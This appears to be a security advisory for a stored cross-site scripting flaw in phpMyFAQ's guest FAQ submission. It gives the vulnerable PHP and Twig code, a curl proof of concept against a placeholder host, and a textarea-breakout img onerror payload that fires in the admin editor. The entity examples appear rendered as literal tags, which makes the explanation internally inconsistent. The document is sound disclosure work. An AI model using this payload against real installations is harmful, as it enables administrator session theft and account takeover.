### Summary
A stored cross-site scripting (XSS) vulnerability in phpMyFAQ allows any unauthenticated user (or low-privileged registered user) to inject arbitrary JavaScript that executes in an administrator's browser when they review or edit a user-submitted FAQ entry. This leads to admin account takeover via session theft. The vulnerability exists because `html_entity_decode()` converts HTML entities into executable HTML after `strip_tags()` has already passed them through, and the admin template renders the content with Twig's `|raw` filter without any output sanitization.
### Details
**Vulnerable file:** `phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/FaqController.php` (lines 109-115)
```php
$answer = Filter::filterVar($data->answer, FILTER_SANITIZE_SPECIAL_CHARS);
if ($this->configuration->get(item: 'main.enableWysiwygEditorFrontend')) {
$answer = trim(html_entity_decode((string) $answer));
}
```
**Root cause:**
`Filter::filterVar()` with `FILTER_SANITIZE_SPECIAL_CHARS` internally calls `filterSanitizeString()` which applies `strip_tags()` to remove HTML tags. However, `strip_tags()` only removes **actual HTML tag syntax** (e.g., `<script>`) — it does NOT remove **HTML entities** (e.g., `<script>`).
When `enableWysiwygEditorFrontend` is `true`, `html_entity_decode()` is subsequently called, which converts the surviving HTML entities into real, executable HTML. No server-side HTML sanitizer (such as the Symfony HtmlSanitizer already used elsewhere in the codebase) is applied before storing the content in the database.
**Vulnerable sink (admin template):** `phpmyfaq/assets/templates/admin/content/faq.editor.twig` (line 127)
```twig
<textarea id="editor" name="answer" class="form-control" rows="7"
placeholder="{{ 'msgAnswer' | translate }}"
>{{ faqData['content'] | raw }}</textarea>
```
The admin FAQ editor controller (`Administration/FaqController.php`) loads the FAQ content directly from the database and passes it to the template without sanitization:
```php
$this->faq->getFaq($faqId, null, true);
$faqData = $this->faq->faqRecord; // Raw content from DB
```
**Note:** The public-facing FAQ view IS properly sanitized via `FaqHelper::cleanUpContent()` which uses Symfony HtmlSanitizer. Only the admin edit view is vulnerable.
### PoC
**Prerequisites:**
- `main.enableWysiwygEditorFrontend` = `true` (non-default, but commonly enabled for rich-text user FAQ contributions)
- `records.allowNewFaqsForGuests` = `true` (DEFAULT value — guests can submit FAQs)
- At least one FAQ category must exist
**Step 1: Inject XSS payload as unauthenticated guest**
```bash
curl -X POST https://TARGET/api/faq/create \
-H 'Content-Type: application/json' \
-d '{
"name": "Legitimate User",
"email": "
[email protected]",
"question": "How to configure SMTP settings?",
"answer": "</textarea><img src=x onerror=alert(document.domain)><textarea>",
"lang": "en",
"keywords": "smtp email",
"rubrik": ["1"],
"captcha": "<valid-captcha-or-empty-if-disabled>"
}'
```
Response: `{"success":"Thank you for your suggestion!"}`
**Processing trace:**
1. Input answer: `</textarea><img src=x onerror=alert(document.domain)><textarea>`
2. `filterSanitizeString()` → `strip_tags()` finds no actual `<tag>` syntax → string passes through unchanged
3. `html_entity_decode()` converts entities → `</textarea><img src=x onerror=alert(document.domain)><textarea>`
4. Stored in database as raw executable HTML
**Step 2: Admin triggers XSS by reviewing the submitted FAQ**
When an administrator navigates to edit the submitted FAQ entry:
```
GET /admin/faq/edit/{faqId}/{lang}
```
The admin template renders:
```html
<textarea id="editor" name="answer" class="form-control" rows="7"
placeholder="Answer"
></textarea><img src=x onerror=alert(document.domain)><textarea></textarea>
```
The `</textarea>` breaks out of the editor textarea element, and the `<img onerror=...>` executes JavaScript immediately in the admin's browser context.
<img width="1387" height="562" alt="admin stored xss alert poc" src="https://github.com/user-attachments/assets/98d6a40d-1e21-41dc-8705-102876b9cf8a" />
<img width="1393" height="805" alt="admin stored xss poc" src="https://github.com/user-attachments/assets/7362a324-e779-4157-be4f-9d35fbe25333" />
**Note:** For logged-in users submitting FAQs, the captcha check is automatically bypassed (`BuiltinCaptcha::checkCaptchaCode()` returns `true` when user is logged in).
### Impact
- **Stored XSS targeting administrators** — every FAQ submission is reviewed by an admin, guaranteeing payload delivery
- **Admin account takeover** — attacker can steal session cookies, create new admin accounts, or modify system configuration
- **No special privileges required** — default configuration allows guest FAQ submissions (`records.allowNewFaqsForGuests` = `true`)
- **Public view is unaffected** — the public FAQ display uses Symfony HtmlSanitizer which strips event handlers; only the admin panel is vulnerable